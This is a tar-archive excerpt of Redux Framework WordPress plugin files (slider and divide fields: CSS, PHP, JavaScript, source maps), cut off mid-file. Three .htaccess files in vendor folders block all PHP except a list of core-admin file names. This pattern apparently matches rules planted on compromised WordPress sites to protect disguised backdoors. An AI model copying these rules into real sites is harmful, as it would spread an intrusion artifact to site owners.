���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/vendor/nouislider/redux.jquery.nouislider.css���������������������0000644�����������������00000006035�14720701300�0024172 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� /* Functional styling; * These styles are required for noUiSlider to function. * You don't need to change these rules to apply your design. */ .noUi-target, .noUi-target * { -webkit-touch-callout: none; -webkit-user-select: none; -ms-touch-action: none; -ms-user-select: none; -moz-user-select: none; -moz-box-sizing: border-box; box-sizing: border-box; } .noUi-base { width: 100%; height: 100%; position: relative; } .noUi-origin { position: absolute; right: 0; top: 0; left: 0; bottom: 0; } .noUi-handle { position: relative; z-index: 1; } .noUi-stacking .noUi-handle { /* This class is applied to the lower origin when its values is > 50%. */ z-index: 10; } .noUi-stacking + .noUi-origin { /* Fix stacking order in IE7, which incorrectly creates a new context for the origins. */ *z-index: -1; } .noUi-state-tap .noUi-origin { -webkit-transition: left 0.3s, top 0.3s; transition: left 0.3s, top 0.3s; } .noUi-state-drag * { cursor: inherit !important; } /* Slider size and handle placement; */ .noUi-horizontal { height: 18px; } .noUi-horizontal .noUi-handle { width: 34px; height: 28px; left: -17px; top: -6px; } .noUi-horizontal.noUi-extended { padding: 0 15px; } .noUi-horizontal.noUi-extended .noUi-origin { right: -15px; } .noUi-vertical { width: 18px; } .noUi-vertical .noUi-handle { width: 28px; height: 34px; left: -6px; top: -17px; } .noUi-vertical.noUi-extended { padding: 15px 0; } .noUi-vertical.noUi-extended .noUi-origin { bottom: -15px; } /* Styling; */ .noUi-background { background: #FAFAFA; box-shadow: inset 0 1px 1px #f0f0f0; } .noUi-connect { background: #3FB8AF; box-shadow: inset 0 0 3px rgba(51,51,51,0.45); -webkit-transition: background 450ms; transition: background 450ms; } .noUi-origin { border-radius: 2px; } .noUi-target { border-radius: 4px; border: 1px solid #D3D3D3; box-shadow: inset 0 1px 1px #F0F0F0, 0 3px 6px -5px #BBB; } .noUi-target.noUi-connect { box-shadow: inset 0 0 3px rgba(51,51,51,0.45), 0 3px 6px -5px #BBB; } /* Handles and cursors; */ .noUi-dragable { cursor: w-resize; } .noUi-vertical .noUi-dragable { cursor: n-resize; } .noUi-handle { border: 1px solid #D9D9D9; border-radius: 3px; background: #FFF; cursor: default; box-shadow: inset 0 0 1px #FFF, inset 0 1px 7px #EBEBEB, 0 3px 6px -3px #BBB; } .noUi-active { box-shadow: inset 0 0 1px #FFF, inset 0 1px 7px #DDD, 0 3px 6px -3px #BBB; } /* Handle stripes; */ .noUi-handle:before, .noUi-handle:after { content: ""; display: block; position: absolute; height: 14px; width: 1px; background: #E8E7E6; left: 14px; top: 6px; } .noUi-handle:after { left: 17px; } .noUi-vertical .noUi-handle:before, .noUi-vertical .noUi-handle:after { width: 14px; height: 1px; left: 6px; top: 14px; } .noUi-vertical .noUi-handle:after { top: 17px; } /* Disabled state; */ [disabled].noUi-connect, [disabled] .noUi-connect { background: #B8B8B8; } [disabled] .noUi-handle { cursor: not-allowed; } /* Blocked state; */ .noUi-state-blocked.noUi-connect, .noUi-state-blocked .noUi-connect { background: #4FDACF; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/vendor/nouislider/.htaccess���������������������������������������0000644�����������������00000001626�14720701300�0020436 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/vendor/.htaccess��������������������������������������������������0000644�����������������00000001626�14720701300�0016261 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/field_slider.php��������������������������������������������������0000644�����������������00000035155�14720701300�0016330 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Slider * @author Kevin Provance (kprovance) * @version 2.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_slider' ) ) { class ReduxFramework_slider { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 3.1.8 */ private $display_none = 0; private $display_label = 1; private $display_text = 2; private $display_select = 3; function __construct( $field, $value, $parent ) { //parent::__construct( $parent->sections, $parent->args ); $this->parent = $parent; $this->field = $field; $this->value = $value; // Set defaults $defaults = array( 'handles' => 1, 'resolution' => 1, 'display_value' => 'text', 'float_mark' => '.', 'forced' => true ); $this->field = wp_parse_args( $this->field, $defaults ); // Sanitize float mark switch ( $this->field['float_mark'] ) { case ',': case '.': break; default: $this->field['float_mark'] = '.'; break; } // Sanitize resolution value $this->field['resolution'] = $this->cleanVal( $this->field['resolution'] ); // Sanitize handle value switch ( $this->field['handles'] ) { case 0: case 1: $this->field['handles'] = 1; break; default: $this->field['handles'] = 2; break; } // Sanitize display value switch ( $this->field['display_value'] ) { case 'label': $this->field['display_value'] = $this->display_label; break; case 'text': default: $this->field['display_value'] = $this->display_text; break; case 'select': $this->field['display_value'] = $this->display_select; break; case 'none': $this->field['display_value'] = $this->display_none; break; } } private function cleanVal( $var ) { if ( is_float( $var ) ) { $cleanVar = floatval( $var ); } else { $cleanVar = intval( $var ); } return $cleanVar; } private function cleanDefault( $val ) { if ( empty( $val ) && ! empty( $this->field['default'] ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $val = $this->cleanVal( $this->field['default'] ); } if ( empty( $val ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $val = $this->cleanVal( $this->field['min'] ); } if ( empty( $val ) ) { $val = 0; } // Extra Validation if ( $val < $this->field['min'] ) { $val = $this->cleanVal( $this->field['min'] ); } else if ( $val > $this->field['max'] ) { $val = $this->cleanVal( $this->field['max'] ); } return $val; } private function cleanDefaultArray( $val ) { $one = $this->value[1]; $two = $this->value[2]; if ( empty( $one ) && ! empty( $this->field['default'][1] ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $one = $this->cleanVal( $this->field['default'][1] ); } if ( empty( $one ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $one = $this->cleanVal( $this->field['min'] ); } if ( empty( $one ) ) { $one = 0; } if ( empty( $two ) && ! empty( $this->field['default'][2] ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $two = $this->cleanVal( $this->field['default'][1] + 1 ); } if ( empty( $two ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $two = $this->cleanVal( $this->field['default'][1] + 1 ); } if ( empty( $two ) ) { $two = $this->field['default'][1] + 1; } $val[0] = $one; $val[1] = $two; return $val; } /** * Clean the field data to the fields defaults given the parameters. * * @since Redux_Framework 3.1.8 */ function clean() { // Set min to 0 if no value is set. $this->field['min'] = empty( $this->field['min'] ) ? 0 : $this->cleanVal( $this->field['min'] ); // Set max to min + 1 if empty. $this->field['max'] = empty( $this->field['max'] ) ? $this->field['min'] + 1 : $this->cleanVal( $this->field['max'] ); // Set step to 1 if step is empty ot step > max. $this->field['step'] = empty( $this->field['step'] ) || $this->field['step'] > $this->field['max'] ? 1 : $this->cleanVal( $this->field['step'] ); if ( 2 == $this->field['handles'] ) { if ( ! is_array( $this->value ) ) { $this->value[1] = 0; $this->value[2] = 1; } $this->value = $this->cleanDefaultArray( $this->value ); } else { if ( is_array( $this->value ) ) { $this->value = 0; } $this->value = $this->cleanDefault( $this->value ); } // More dummy checks //if ( ! is_array( $this->field['default'] ) && 2 == $this->field['handles'] ) { if ( ! is_array( $this->value ) && 2 == $this->field['handles'] ) { $this->value[0] = $this->field['min']; $this->value[1] = $this->field['min'] + 1; } //if ( is_array( $this->field['default'] ) && 1 == $this->field['handles'] ) { if ( is_array( $this->value ) && 1 == $this->field['handles'] ) { $this->value = $this->field['min']; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 3.1.8 */ function enqueue() { $min = Redux_Functions::isMin(); wp_enqueue_style( 'select2-css' ); wp_enqueue_style( 'redux-nouislider-css', ReduxFramework::$_url . 'inc/fields/slider/vendor/nouislider/redux.jquery.nouislider.css', array(), '5.0.0', 'all' ); wp_register_script( 'redux-nouislider-js', ReduxFramework::$_url . 'inc/fields/slider/vendor/nouislider/redux.jquery.nouislider' . $min . '.js', array( 'jquery' ), '5.0.0', true ); wp_enqueue_script( 'redux-field-slider-js', ReduxFramework::$_url . 'inc/fields/slider/field_slider' . $min . '.js', array( 'jquery', 'redux-nouislider-js', 'redux-js', 'select2-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-slider-css', ReduxFramework::$_url . 'inc/fields/slider/field_slider.css', array(), time(), 'all' ); } } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 0.0.4 */ function render() { $this->clean(); $fieldID = $this->field['id']; $fieldName = $this->field['name'] . $this->field['name_suffix']; //$fieldName = $this->parent->args['opt_name'] . '[' . $this->field['id'] . ']'; // Set handle number variable. $twoHandles = false; if ( 2 == $this->field['handles'] ) { $twoHandles = true; } // Set default values(s) if ( true == $twoHandles ) { $valOne = $this->value[0]; $valTwo = $this->value[1]; $html = 'data-default-one="' . $valOne . '" '; $html .= 'data-default-two="' . $valTwo . '" '; $nameOne = $fieldName . '[1]'; $nameTwo = $fieldName . '[2]'; $idOne = $fieldID . '[1]'; $idTwo = $fieldID . '[2]'; } else { $valOne = $this->value; $valTwo = ''; $html = 'data-default-one="' . $valOne . '"'; $nameOne = $fieldName; $nameTwo = ''; $idOne = $fieldID; $idTwo = ''; } $showInput = false; $showLabel = false; $showSelect = false; // TEXT output if ( $this->display_text == $this->field['display_value'] ) { $showInput = true; echo '<input type="text" name="' . $nameOne . '" id="' . $idOne . '" value="' . $valOne . '" class="redux-slider-input redux-slider-input-one-' . $fieldID . ' ' . $this->field['class'] . '"/>'; // LABEL output } elseif ( $this->display_label == $this->field['display_value'] ) { $showLabel = true; $labelNum = $twoHandles ? '-one' : ''; echo '<div class="redux-slider-label' . $labelNum . '" id="redux-slider-label-one-' . $fieldID . '" name="' . $nameOne . '"> </div>'; // SELECT output } elseif ( $this->display_select == $this->field['display_value'] ) { $showSelect = true; if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo '<input type="hidden" class="select2_params" value="' . $select2_params . '">'; } echo '<select class="redux-slider-select-one redux-slider-select-one-' . $fieldID . ' ' . $this->field['class'] . '" name="' . $nameOne . '" id="' . $idOne . '"> </select>'; } // DIV output echo '<div class="redux-slider-container ' . $this->field['class'] . '" id="' . $fieldID . '" data-id="' . $fieldID . '" data-min="' . $this->field['min'] . '" data-max="' . $this->field['max'] . '" data-step="' . $this->field['step'] . '" data-handles="' . $this->field['handles'] . '" data-display="' . $this->field['display_value'] . '" data-rtl="' . is_rtl() . '" data-forced="' . $this->field['forced'] . '" data-float-mark="' . $this->field['float_mark'] . '" data-resolution="' . $this->field['resolution'] . '" ' . $html . '> </div>'; // Double slider output if ( true == $twoHandles ) { // TEXT if ( true == $showInput ) { echo '<input type="text" name="' . $nameTwo . '" id="' . $idTwo . '" value="' . $valTwo . '" class="redux-slider-input redux-slider-input-two-' . $fieldID . ' ' . $this->field['class'] . '"/>'; } // LABEL if ( true == $showLabel ) { echo '<div class="redux-slider-label-two" id="redux-slider-label-two-' . $fieldID . '" name="' . $nameTwo . '"> </div>'; } // SELECT if ( true == $showSelect ) { echo '<select class="redux-slider-select-two redux-slider-select-two-' . $fieldID . ' ' . $this->field['class'] . '" name="' . $nameTwo . '" id="' . $idTwo . '"> </select>'; } } // NO output (input hidden) if ( $this->display_none == $this->field['display_value'] || $this->display_label == $this->field['display_value'] ) { echo '<input type="hidden" class="redux-slider-value-one-' . $fieldID . ' ' . $this->field['class'] . '" name="' . $nameOne . '" id="' . $idOne . '" value="' . $valOne . '"/>'; // double slider hidden output if ( true == $twoHandles ) { echo '<input type="hidden" class="redux-slider-value-two-' . $fieldID . ' ' . $this->field['class'] . '" name="' . $nameTwo . '" id="' . $idTwo . '" value="' . $valTwo . '"/>'; } } } } }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/field_slider.css��������������������������������������������������0000644�����������������00000002717�14720701300�0016327 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-slider .redux-slider-container{margin-left:25px;margin-right:25px;width:200px;display:inline-block;vertical-align:middle}.redux-container-slider .redux-slider-input,.redux-container-slider .redux-slider-select-one,.redux-container-slider .redux-slider-select-two{width:100px !important;text-align:center}.redux-container-slider .redux-slider-label{position:absolute;margin-left:-5px}.redux-container-slider .redux-slider-label-one{position:absolute;margin-left:-22px}.redux-container-slider .redux-slider-label-two{position:absolute;margin-top:-21px;margin-left:245px}@media screen and (max-width: 782px){.redux-container-slider input{display:inline-block !important}}@media screen and (max-width: 570px){.redux-container-slider{text-align:center}.redux-container-slider input,.redux-container-slider select,.redux-container-slider .redux-slider-label,.redux-container-slider .select2-container{display:block !important;position:inherit;margin:10px auto}.redux-container-slider .redux-slider-container{margin-top:3px;width:80%}}.wp-customizer .redux-container-slider .redux-slider-label{float:left;position:inherit;width:25%;text-align:center;margin-left:0}.wp-customizer .redux-container-slider .redux-slider-input,.wp-customizer .redux-container-slider .redux-slider-select-one,.wp-customizer .redux-container-slider .redux-slider-select-two{width:25% !important}.wp-customizer .redux-container-slider .redux-slider-container{width:70%;margin-right:0;margin-left:5%} �������������������������������������������������redux-framework/inc/fields/slider/field_slider.js���������������������������������������������������0000644�����������������00000027136�14720701300�0016155 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.slider = redux.field_objects.slider || {}; $( document ).ready( function() { } ); redux.field_objects.slider.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-slider:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( 'div.redux-slider-container' ).each( function() { var start, toClass, defClassOne, defClassTwo, connectVal; var DISPLAY_NONE = 0; var DISPLAY_LABEL = 1; var DISPLAY_TEXT = 2; var DISPLAY_SELECT = 3; var mainID = $( this ).data( 'id' ); var minVal = $( this ).data( 'min' ); var maxVal = $( this ).data( 'max' ); var stepVal = $( this ).data( 'step' ); var handles = $( this ).data( 'handles' ); var defValOne = $( this ).data( 'default-one' ); var defValTwo = $( this ).data( 'default-two' ); var resVal = $( this ).data( 'resolution' ); var displayValue = parseInt( ($( this ).data( 'display' )) ); var rtlVal = Boolean( $( this ).data( 'rtl' ) ); var floatMark = ($( this ).data( 'float-mark' )); var forced = Boolean($( this ).data( 'forced' )); var rtl; if ( rtlVal === true ) { rtl = 'rtl'; } else { rtl = 'ltr'; } // range array var range = [minVal, maxVal]; // Set default values for dual slides. var startTwo = [defValOne, defValTwo]; // Set default value for single slide var startOne = [defValOne]; var inputOne, inputTwo; if ( displayValue == DISPLAY_TEXT ) { defClassOne = el.find( '.redux-slider-input-one-' + mainID ); defClassTwo = el.find( '.redux-slider-input-two-' + mainID ); inputOne = defClassOne; inputTwo = defClassTwo; } else if ( displayValue == DISPLAY_SELECT ) { defClassOne = el.find( '.redux-slider-select-one-' + mainID ); defClassTwo = el.find( '.redux-slider-select-two-' + mainID ); redux.field_objects.slider.loadSelect( defClassOne, minVal, maxVal, resVal, stepVal ); if ( handles === 2 ) { redux.field_objects.slider.loadSelect( defClassTwo, minVal, maxVal, resVal, stepVal ); } } else if ( displayValue == DISPLAY_LABEL ) { defClassOne = el.find( '#redux-slider-label-one-' + mainID ); defClassTwo = el.find( '#redux-slider-label-two-' + mainID ); } else if ( displayValue == DISPLAY_NONE ) { defClassOne = el.find( '.redux-slider-value-one-' + mainID ); defClassTwo = el.find( '.redux-slider-value-two-' + mainID ); } var classOne, classTwo; if ( displayValue == DISPLAY_LABEL ) { var x = [defClassOne, 'html']; var y = [defClassTwo, 'html']; classOne = [x]; classTwo = [x, y]; } else { classOne = [defClassOne]; classTwo = [defClassOne, defClassTwo]; } if ( handles === 2 ) { start = startTwo; toClass = classTwo; connectVal = true; } else { start = startOne; toClass = classOne; connectVal = 'lower'; } var slider = $( this ).noUiSlider( { range: range, start: start, handles: handles, step: stepVal, connect: connectVal, behaviour: "tap-drag", direction: rtl, serialization: { resolution: resVal, to: toClass, mark: floatMark, }, slide: function() { if ( displayValue == DISPLAY_LABEL ) { if ( handles === 2 ) { var inpSliderVal = slider.val(); el.find( 'input.redux-slider-value-one-' + mainID ).attr( 'value', inpSliderVal[0] ); el.find( 'input.redux-slider-value-two-' + mainID ).attr( 'value', inpSliderVal[1] ); } else { el.find( 'input.redux-slider-value-one-' + mainID ).attr( 'value', slider.val() ); } } if ( displayValue == DISPLAY_SELECT ) { if ( handles === 2 ) { el.find( '.redux-slider-select-one' ).select2( 'val', slider.val()[0] ); el.find( '.redux-slider-select-two' ).select2( 'val', slider.val()[1] ); } else { el.find( '.redux-slider-select-one' ).select2( 'val', slider.val() ); } } redux_change( $( this ).parents( '.redux-field-container:first' ).find( 'input' ) ); } } ); if ( displayValue === DISPLAY_TEXT ) { inputOne.keydown( function( e ) { var sliderOne = slider.val(); var value = parseInt( sliderOne[0] ); switch ( e.which ) { case 38: slider.val( [value + 1, null] ); break; case 40: slider.val( [value - 1, null] ); break; case 13: e.preventDefault(); break; } } ); if ( handles === 2 ) { inputTwo.keydown( function( e ) { var sliderTwo = slider.val(); var value = parseInt( sliderTwo[1] ); switch ( e.which ) { case 38: slider.val( [null, value + 1] ); break; case 40: slider.val( [null, value - 1] ); break; case 13: e.preventDefault(); break; } } ); } } } ); var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; var select2_handle = el.find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } el.find( 'select.redux-slider-select-one, select.redux-slider-select-two' ).select2( default_params ); } ); }; // Return true for float value, false otherwise redux.field_objects.slider.isFloat = function( mixed_var ) { return +mixed_var === mixed_var && (!(isFinite( mixed_var ))) || Boolean( (mixed_var % 1) ); }; // Return number of integers after the decimal point. redux.field_objects.slider.decimalCount = function( res ) { var q = res.toString().split( '.' ); return q[1].length; }; redux.field_objects.slider.loadSelect = function( myClass, min, max, res, step ) { //var j = step + ((decCount ) - (step )); // 18; for ( var i = min; i <= max; i = i + res ) { //var step = 2; //if (j === (step + ((decCount ) - (step )))) { var n = i; if ( redux.field_objects.slider.isFloat( res ) ) { var decCount = redux.field_objects.slider.decimalCount( res ); n = i.toFixed( decCount ); } $( myClass ).append( '<option value="' + n + '">' + n + '</option>' ); //j = 0; //} //j++; } }; })( jQuery ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0014764 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/field_slider.css.map����������������������������������������������0000644�����������������00000001625�14720701300�0017100 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,+CAAwB;EACpB,WAAW,EAAE,IAAI;EACjB,YAAY,EAAE,IAAI;EAClB,KAAK,EAAE,KAAK;EACZ,OAAO,EAAE,YAAY;EACrB,cAAc,EAAE,MAAM;AAG1B;;gDAEyB;EACrB,KAAK,EAAE,gBAAgB;EACvB,UAAU,EAAE,MAAM;AAGtB,2CAAoB;EAChB,QAAQ,EAAE,QAAQ;EAClB,WAAW,EAAE,IAAI;AAGrB,+CAAwB;EACpB,QAAQ,EAAE,QAAQ;EAClB,WAAW,EAAE,KAAK;AAGtB,+CAAwB;EACpB,QAAQ,EAAE,QAAQ;EAClB,UAAU,EAAE,KAAK;EACjB,WAAW,EAAE,KAAK;;AAI1B,oCAAqC;EAE7B,6BAAM;IACF,OAAO,EAAE,uBAAuB;AAM5C,oCAAqC;EACjC,uBAAwB;IACpB,UAAU,EAAE,MAAM;IAElB;;;8CAGmB;MACf,OAAO,EAAE,gBAAgB;MACzB,QAAQ,EAAE,OAAO;MACjB,MAAM,EAAE,SAAS;IAGrB,+CAAwB;MACpB,UAAU,EAAE,GAAG;MACf,KAAK,EAAE,GAAG;AAOd,0DAAoB;EAChB,KAAK,EAAE,IAAI;EACX,QAAQ,EAAE,OAAO;EACjB,KAAK,EAAE,GAAG;EACV,UAAU,EAAE,MAAM;EAClB,WAAW,EAAC,CAAC;AAEjB,4LAAwE;EACpE,KAAK,EAAE,cAAc;AAEzB,8DAAwB;EACpB,KAAK,EAAE,GAAG;EACV,YAAY,EAAE,CAAC;EACf,WAAW,EAAE,EAAE", "sources": ["field_slider.scss"], "names": [], "file": "field_slider.css" }�����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/divide/field_divide.scss�������������������������������������������������0000644�����������������00000002406�14720701300�0016451 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main { .divide { height: 20px; line-height: 20px; float: none; border-color: #E7E7E7; display: block; width: 100%; height: 35px !important; line-height: 35px !important; position: relative; margin: 15px 0 10px 0; .inner { width: 42% !important; left: 40% !important; margin-left: -6%; background-color: #FCFCFC; border-color: #E7E7E7; position: absolute; height: 1px; top: 50%; width: 100%; margin-top: -1px; border-top-width: 1px; border-top-style: solid; span { background-color: #FCFCFC; border-color: #E7E7E7; height: 5px; width: 5px; border-width: 2px; border-style: solid; display: block; position: absolute; left: 50%; margin-left: -5px; margin-top: -5px; } } } } .wp-customizer .redux-container-divide { .divide .inner { width: 82% !important; left: 18% !important; margin-left: -8%; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/divide/field_divide.css��������������������������������������������������0000644�����������������00000001364�14720701300�0016270 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main .divide{height:20px;line-height:20px;float:none;border-color:#E7E7E7;display:block;width:100%;height:35px !important;line-height:35px !important;position:relative;margin:15px 0 10px 0}.redux-main .divide .inner{width:42% !important;left:40% !important;margin-left:-6%;background-color:#FCFCFC;border-color:#E7E7E7;position:absolute;height:1px;top:50%;width:100%;margin-top:-1px;border-top-width:1px;border-top-style:solid}.redux-main .divide .inner span{background-color:#FCFCFC;border-color:#E7E7E7;height:5px;width:5px;border-width:2px;border-style:solid;display:block;position:absolute;left:50%;margin-left:-5px;margin-top:-5px}.wp-customizer .redux-container-divide .divide .inner{width:82% !important;left:18% !important;margin-left:-8%} ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/divide/field_divide.php��������������������������������������������������0000644�����������������00000005376�14720701300�0016276 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Divide * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( !defined ( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( !class_exists ( 'ReduxFramework_divide' ) ) { /** * Main ReduxFramework_divide class * * @since 1.0.0 */ class ReduxFramework_divide { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct ( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render () { echo '</td></tr></table>'; echo '<div data-id="' . $this->field[ 'id' ] . '" id="divide-' . $this->field[ 'id' ] . '" class="divide ' . $this->field[ 'class' ] . '"><div class="inner"><span> </span></div></div>'; echo '<table class="form-table no-border"><tbody><tr><th></th><td>'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-divide', ReduxFramework::$_url . 'inc/fields/divide/field_divide.css', array(), time(), 'all' ); } } } }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/divide/field_divide.css.map����������������������������������������������0000644�����������������00000001607�14720701300�0017044 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": 